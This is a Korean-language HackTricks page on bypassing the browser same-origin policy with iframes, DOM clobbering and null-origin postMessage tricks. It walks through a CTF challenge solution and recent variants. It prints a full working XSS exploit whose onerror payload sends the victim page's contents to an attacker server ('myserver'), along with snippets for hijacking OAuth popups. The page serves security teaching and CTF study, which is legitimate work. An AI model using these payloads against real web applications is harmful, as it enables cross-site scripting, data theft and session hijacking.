Iframes를 이용한 SOP 우회 - 2

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

SOP-2의 Iframes

이 challenge의 solution에서, @Strellic_는 이전 섹션과 유사한 방법을 제안합니다. 살펴보겠습니다.

이 챌린지에서 공격자는 다음을 bypass 해야 합니다:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

그렇게 하면, 그는 postmessage로 HTML 콘텐츠를 보낼 수 있고 그 내용은 페이지에 **innerHTML**로 정화 없이 기록되어 (XSS) 발생할 수 있습니다.

첫 번째 검사는 **window.calc.contentWindow**를 **undefined**로 만들고 **e.source**를 **null**로 만들어 우회할 수 있습니다:

  • **window.calc.contentWindow**는 실제로 **document.getElementById("calc")**입니다. **document.getElementById**를 **<img name=getElementById />**로 clobber할 수 있습니다 (기본 상태에서는 Sanitizer API -here-가 DOM clobbering 공격으로부터 보호하도록 구성되어 있지 않다는 점에 유의하세요).
  • 따라서, **document.getElementById("calc")**를 **<img name=getElementById /><div id=calc></div>**로 clobber할 수 있습니다. 그러면, **window.calc**는 **undefined**가 됩니다.
  • 이제 **e.source**를 **undefined**나 **null**로 만들어야 합니다 (==가 === 대신 사용되었기 때문에, **null == undefined**는 **True**입니다). 이것을 얻는 것은 “쉬운” 편입니다. 만약 iframe을 생성하고 그 안에서 postMessage를 send한 뒤 즉시 그 iframe을 remove하면, **e.origin**은 **null**이 됩니다. 다음 코드를 확인하세요
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null

token에 관한 second check를 우회하려면 **token**을 값 null로 전송하고 window.token 값을 **undefined**로 만들면 됩니다:

  • postMessage로 token을 값 null로 전송하는 것은 간단합니다.
  • **window.token**은 **document.cookie**를 사용하는 getCookie 함수를 호출할 때 결정됩니다. null origin 페이지에서 **document.cookie**에 접근하면 오류가 발생합니다. 이로 인해 **window.token**은 undefined 값을 갖게 됩니다.

최종 솔루션은 @terjanq이 제시한 following:

<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)

function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr)

function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>

2025 Null-Origin Popups (TryHackMe - Vulnerable Codes)

최근 TryHackMe 과제(“Vulnerable Codes”)는 opener가 scripts와 popups만 허용하는 sandboxed iframe 내부에 있을 때 OAuth 팝업이 어떻게 탈취될 수 있는지를 보여준다. 해당 iframe은 자신과 팝업 둘 다를 "null" origin으로 강제하므로, 핸들러에서 if (origin !== window.origin) return처럼 검사하면 팝업 내부의 window.origin 또한 "null"이기 때문에 조용히 실패한다. 비록 브라우저가 실제 location.origin을 여전히 노출하지만, 피해자는 이를 검사하지 않으므로 공격자가 제어하는 메시지가 그대로 통과한다.

const frame = document.createElement('iframe');
frame.sandbox = 'allow-scripts allow-popups';
frame.srcdoc = `
<script>
const pop = open('https://oauth.example/callback');
pop.postMessage({ cmd: 'getLoginCode' }, '*');
<\/script>`;
document.body.appendChild(frame);

해당 설정을 악용하기 위한 요점:

  • 팝업 내부에서 origin을 window.origin과 비교하는 핸들러는 둘 다 "null"로 평가되기 때문에 우회할 수 있어, 위조된 메시지가 정당하게 보인다.
  • allow-popups는 허용하지만 allow-same-origin을 생략한 sandboxed iframe은 여전히 공격자 제어의 null origin에 고정된 팝업을 생성하므로, 2025년 Chromium 빌드에서도 안정적인 격리 영역을 제공한다.

Source-nullification & frame-restriction bypasses

Industry writeups around CVE-2024-49038 highlight two reusable primitives for this page: (1) X-Frame-Options: DENY를 설정한 페이지도 window.open으로 열고 네비게이션이 완료된 후 메시지를 전송하면 여전히 상호작용할 수 있고, (2) 메시지를 보낸 직후 iframe을 제거해 수신측 핸들러가 null만 보도록 만들어 event.source == victimFrame 검사를 무차별로 우회할 수 있다.

const probe = document.createElement('iframe');
probe.sandbox = 'allow-scripts';
probe.onload = () => {
const victim = open('https://target-app/');
setTimeout(() => {
probe.contentWindow.postMessage(payload, '*');
probe.remove();
}, 500);
};
document.body.appendChild(probe);

위의 DOM-clobbering 트릭과 결합해 보세요: 수신자가 event.source === null만 보게 되면, window.calc.contentWindow 같은 것과의 비교는 모두 무너지며, 다시 innerHTML을 통해 악성 HTML sinks를 주입할 수 있게 됩니다.

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기